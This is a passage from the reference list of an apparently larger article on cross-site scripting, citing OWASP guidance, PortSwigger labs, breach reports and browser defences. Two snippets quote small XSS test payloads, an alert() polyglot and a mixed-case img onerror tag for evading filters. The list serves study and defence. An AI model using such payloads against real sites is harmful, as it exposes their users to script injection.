    [PDF] 2025 Open Source Security and Risk Analysis report - Black Duck
    Developers will gain insights into the types of vulnerabilities that we found prevalent in open source software, such as cross-site scripting (XSS) and denial- ...
  42. [42]
    XSS Filter Evasion - OWASP Cheat Sheet Series
    XSS Filter Evasion Cheat Sheet¶. Introduction¶. This article is a guide to Cross Site Scripting (XSS) testing for application security professionals.<|control11|><|separator|>
  43. [43]
    [PDF] Synthesizing and Evaluating Polyglots for Blind Cross-Site Scripting
    Aug 15, 2024 · • Polyglots transport payloads. 9. 2024-08-15. (Very) Simple XSS Polyglot with alert-payload javascript:alert()//"){}alert();//</a><script> ...
  44. [44]
    Polyfill.io Supply Chain Attack: Over 100k Websites At Risk - Wallarm
    Jul 10, 2024 · The attack is similar to stored Cross-Site Scripting (XSS) and does not require any actions from the victim other than visiting a web page.
  45. [45]
    Bypassing Signature-Based XSS Filters: Modifying HTML
    Starting with the opening tag name, the most simple and naive filters can be bypassed simply by varying the case of the characters used: <iMg onerror=alert ...Missing: alternative | Show results with:alternative
  46. [46]
    BeEF - The Browser Exploitation Framework Project
    BeEF is a security tool, allowing a penetration tester or system administrator additional attack vectors when assessing the posture of a target.Missing: theft | Show results with:theft
  47. [47]
    Lab: Exploiting XSS to bypass CSRF defenses - PortSwigger
    This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to steal a CSRF token.
  48. [48]
    CSRF and XSS: A Lethal Combination - Part I - Infosec Institute
    Feb 20, 2012 · Introduction In the second installment of this series, we discussed one of the most prevalent attacks to applications: SQL Injection.
  49. [49]
    Testing for WebSockets security vulnerabilities - PortSwigger
    In this section, we'll explain how to manipulate WebSocket messages and connections, describe the kinds of security vulnerabilities that can arise with ...Cross-site WebSocket hijacking · What are WebSockets? · Proxy settings
  50. [50]
    Hijacking service workers via DOM Clobbering - PortSwigger
    Nov 29, 2022 · This technique to hijack a service worker enables three key outcomes: HTML filter evasion; Bypassing CSP; Escalating XSS. The importScripts() ...
  51. [51]
    What Is Cross-Site Scripting (XSS)? - Palo Alto Networks
    Cross-site scripting (XSS) is a web vulnerability that allows attackers to inject malicious scripts into trusted websites. It targets users' browsers, ...
  52. [52]
    (PDF) Social networks' XSS worms - ResearchGate
    Although created with no mal-intent, the Samy Worm, described in Section 1, exemplifies the potential for social network malware to propagate swiftly. From a ...
  53. [53]
    Why React Didn't Kill XSS: The New JavaScript Injection Playbook
    Jul 29, 2025 · Supply chain compromises targeting your favorite npm packages; Prototype pollution attacks that can hijack your entire object model; AI-driven ...The Threat Landscape Has... · Webassembly Security... · Emerging Ai Threats<|separator|>
  54. [54]
    Microsoft Confirms 900+ XSS Vulnerabilities Found in IT Services ...
    Sep 15, 2025 · Between July 2024 and July 2025, XSS vulnerabilities accounted for 15% of all “Important” or “Critical” security cases handled by the MSRC.
  55. [55]
    E-Commerce Security and Building Consumer Trust - POWR Blog
    May 14, 2025 · A single data breach can rapidly erode hard-won goodwill, driving customers to competitors and inflicting long-lasting brand damage.Common E-Commerce... · Building Trust Through... · FaqsMissing: term effects<|control11|><|separator|>
  56. [56]
    Input Validation - OWASP Cheat Sheet Series
    Input validation must be implemented on the server-side before any data is processed by an application's functions, as any JavaScript-based input validation ...Goals of Input Validation · Implementing Input Validation · File Upload Validation
  57. [57]
    OWASP Java Encoder
    The OWASP Java Encoder is a Java 1.8+ encoder class for defending against Cross Site Scripting (XSS) attacks using Contextual Output Encoding.About · Getting Started · Downloads
  58. [58]
    HTML Purifier - Filter your HTML the standards-compliant way!
    Dec 24, 2021 · HTML Purifier is a PHP library that filters HTML, removing malicious code (XSS) and ensuring standards compliance using a whitelist.Documentation · Live Demo · Download · Comparison
  59. [59]
    SQL Injection Prevention - OWASP Cheat Sheet Series
    Option 1: Use of Prepared Statements (with Parameterized Queries) · Option 2: Use of Properly Constructed Stored Procedures · Option 3: Allow-list Input ...
  60. [60]
    XSS: How It Works, Examples & 4 Defensive Measures - CyCognito
    Self-XSS is a social engineering attack where users execute scripts in their browsers, believing it will result in beneficial actions, like unlocking features.Common and Emerging Cyber... · Examples of Recent High...
  61. [61]
    Top Vulnerability Scanning tools 2025 - Escape DAST
    Aug 22, 2025 · Performs automated DAST scans to detect common web vulnerabilities like SQL injection, XSS, and CSRF. Pros: ✓ Highly customizable for advanced ...
  62. [62]
    The Only XSS Prevention Guide You Need in 2025 - CodeAnt AI
    Rating 5.0 (7) Aug 26, 2025 · Learn what cross-site scripting (XSS) is, why it still tops OWASP risks, and how to prevent it with encoding, CSP, secure reviews, ...Missing: legacy | Show results with:legacy
  63. [63]
    What is it? - NoScript: block scripts and own your browser!
    NoScript also provides the most powerful anti-XSS protection ever available in a browser. NoScript's unique pre-emptive script blocking approach prevents ...Get it! · FAQ · Usage · Community
  64. [64]
    New Vulnerability in Popular Widget Shows Risks of Third-Party Code
    Nov 9, 2022 · Imperva's vulnerability research team uncovered a DOM XSS vulnerability in certain versions of a popular accessibility widget by EqualWeb.
  65. [65]
    TrustyMon: Practical Detection of DOM-based Cross-Site Scripting ...
    Aug 24, 2025 · We note that TrustyMon is designed to monitor JS execution and send violation reports to a designated endpoint, helping website operators ...
  66. [66]
    How to Prevent Cross-Site Scripting (XSS) on Payment Pages - Feroot
    Oct 9, 2025 · The only way to catch DOM-based XSS is through runtime monitoring that observes JavaScript behavior in actual user sessions. 4. Unmonitored ...
  67. [67]
    Content Security Policy Level 2 - W3C
    Dec 15, 2016 · This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities.
  68. [68]
    Content Security Policy - OWASP Cheat Sheet Series
    A strong CSP provides an effective second layer of protection against various types of vulnerabilities, especially XSS.
  69. [69]
    HttpOnly - OWASP Foundation
    Mitigating the Most Common XSS attack using HttpOnly. According to Michael Howard, Senior Security Program Manager in the Secure Windows Initiative group at ...Overview · Mitigating The Most Common... · Using Webgoat To Test For...
  70. [70]
    Session Management - OWASP Cheat Sheet Series
    The HttpOnly cookie only protects the confidentiality of the cookie; the attacker cannot use it offline, outside of the context of an XSS attack. See the OWASP ...
  71. [71]
    Cross-Site Request Forgery Prevention - OWASP Cheat Sheet Series
    A Cross-Site Request Forgery (CSRF) attack occurs when a malicious web site, email, blog, instant message, or program tricks an authenticated user's web browser
  72. [72]
    HTML spec change: escaping < and > in attributes | Blog
    Jun 12, 2025 · On May 20, 2025, the HTML specification was updated to escape < and > in attributes, helping prevent mutation XSS (mXSS) vulnerabilities.
  73. [73]
    Trusted Types - W3C
    Oct 28, 2025 · An API that allows applications to lock down powerful APIs to only accept non-spoofable, typed values in place of strings to prevent vulnerabilities.Missing: browsers | Show results with:browsers
  74. [74]
  75. [75]
    Subresource Integrity - Security - MDN Web Docs
    Aug 18, 2025 · Subresource Integrity (SRI) is a security feature that enables browsers to verify that resources they fetch (for example, from a CDN) are delivered without ...
  76. [76]
    Third Party Javascript Management - OWASP Cheat Sheet Series
    Subresource Integrity¶. Subresource Integrity will ensure that only the code that has been reviewed is executed. The developer generates integrity metadata ...Major risks · Third-party JavaScript... · Security Defense Considerations
  77. [77]
    ML based Web Application Firewall for Signature and Anomaly ...
    This paper introduces an ML-based WAF using a Random Forest classifier, achieving nearly 100% accuracy in classifying requests and 89.5% in distinguishing ...
  78. [78]
    How to Prevent XSS attacks with a Content Security Policy
    Aug 4, 2025 · CSP prevents XSS by acting as a security whitelist, blocking unauthorized resources and malicious scripts, using a 'default deny' principle.
  79. [79]
    Web Content Security Policy (CSP) Implementation
    May 8, 2025 · Mitigate XSS, Clickjacking, and Data Injection with a Robust CSP Strategy ... Angular, React, Vue-specific CSP guidance. Progressive Hardening ...
  80. [80]
    Web LLM Attacks: AI Risks and Defenses for 2025 - Invicti
    Sep 26, 2025 · Web LLM attacks exploit AI-backed apps through prompt injection, insecure APIs, and data leaks. Learn how to detect and prevent these risks.
  81. [81]
    Lenovo AI Chatbot Incident: Critical XSS Flaw - Adversa AI
    Aug 6, 2025 · In August 2025, Lenovo quietly patched a critical vulnerability in its AI chatbot “Lena” that could have allowed attackers to steal session ...
  82. [82]
    [PDF] Transient Dynamics of Epidemic Spreading and Its Mitigation on ...
    For instance, the Samy worm, found in October 2005, exploited a cross-site scripting vulnerability against MySpace and infected over one million users across ...
  83. [83]
    [PDF] An Infosec Timeline - OWASP Foundation
    ○ Samy Kamkar “accidentally” unleashes his XSS worm against MySpace. ○. Within 20 hours of time, more than one Million users get “infected”. ○. This makes ...
  84. [84]
    Yahoo Mail XSS Security Hole Still Open, Researchers Say
    Jan 8, 2013 · Yahoo says it has closed a cross-site scripting security hole, but Offensive Security claims that with slight modifications to the original ...
  85. [85]
    Yahoo! mail exploit on sale for $700 - Infosecurity Magazine
    Nov 27, 2012 · “Such a flaw would let attackers send or read email from the victim's account,” Krebs said in a blog post. “In a typical XSS attack, an attacker ...
  86. [86]
  87. [87]
    How Hackers Slipped by British Airways' Data Defenses - WIRED
    Sep 11, 2018 · Researchers have detailed how a criminal hacking gang used just 22 lines of code to steal credit card data from hundreds of thousands of British Airways ...
  88. [88]
    British Airways: Suspect code that hacked fliers 'found' - BBC
    Sep 11, 2018 · The code, found lurking on the British Airways website, may be how hackers stole data on 380000 transactions.
  89. [89]
    British Airways fined £20m over data breach - BBC
    Oct 16, 2020 · British Airways has been fined £20m ($26m) by the Information Commissioner's Office (ICO) for a data breach which affected more than 400,000 ...
  90. [90]
    Critical Security Flaw Found in WhatsApp Desktop Platform Allowing ...
    Feb 4, 2020 · I managed to find four more unique security flaws in WhatsApp which led me all the way to persistent XSS and even reading from the local file system – by using ...
  91. [91]
    WhatsApp Security Advisories 2020
    20.111 and WhatsApp Business for iOS prior to v2.20.111 could have resulted in memory corruption, crashes and potentially code execution. This could have ...Missing: account takeover
  92. [92]
    Examining the Polyfill Attack from Akamai's Point of View
    Jul 2, 2024 · The polyfill.io supply chain attack underscores the critical vulnerabilities inherent in modern web application development.Missing: XSS | Show results with:XSS
  93. [93]
    Polyfill.io Supply Chain Attack: What You Need to Know - Qualys Blog
    Jun 23, 2025 · In February 2024, a Chinese company (Funnull) bought the domain and the GitHub account. The company has modified Polyfill.js so malicious code ...Missing: XSS | Show results with:XSS
  94. [94]
    Cross-site Scripting (XSS) in wikimedia/parsoid | CVE-2025-32699
    Jun 13, 2025 · Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to improper handling of Unicode normalization in the Action ...
  95. [95]
    CVE-2025-32699 - CVE Record
    Apr 10, 2025 · Vulnerability in Wikimedia Foundation MediaWiki, Wikimedia Foundation Parsoid.This issue affects MediaWiki: before 1.39.12, 1.42.6, 1.43.1; Parsoid: before 0. ...Missing: stored | Show results with:stored
  96. [96]
    Release notes/1.39 - MediaWiki
    Oct 3, 2025 · (T387130, CVE-2025-32699) SECURITY: Update wikimedia/parsoid to 0.16. ... (T341565, CVE-2023-3550) SECURITY: Stored XSS when uploading ...
  97. [97]
    XSS slip-up exposed Fortnite gamers to account hijack - PortSwigger
    Jan 16, 2019 · Web back-end vulnerabilities in Fortnite created a mechanism for hackers to intercept and surreptitiously steal gamers' login credentials.Missing: patch analysis 2021
  98. [98]
    CISA and FBI release secure by design alert on cross-site scripting
    When an attacker successfully exploits an XSS vulnerability, they can hijack user sessions, steal sensitive information such as login credentials or even alter ...Missing: financial | Show results with:financial
  99. [99]
    AI is bringing XSS vulnerabilities back to the spotlight - CSO Online
    Oct 10, 2024 · Following a CISA and FBI alert, experts say unless these flaws are fixed soon, AI models may ingest and perpetuate them.Missing: chatbots embedded widgets MSRC mitigations<|control11|><|separator|>
  100. [100]
    Why XSS still matters: MSRC's perspective on a 25-year-old threat
    Sep 4, 2025 · XSS by the numbers (July 2024 – July 2025). 15% of all important or critical MSRC cases were XSS. Out of 265 XSS cases, 263 were rated ...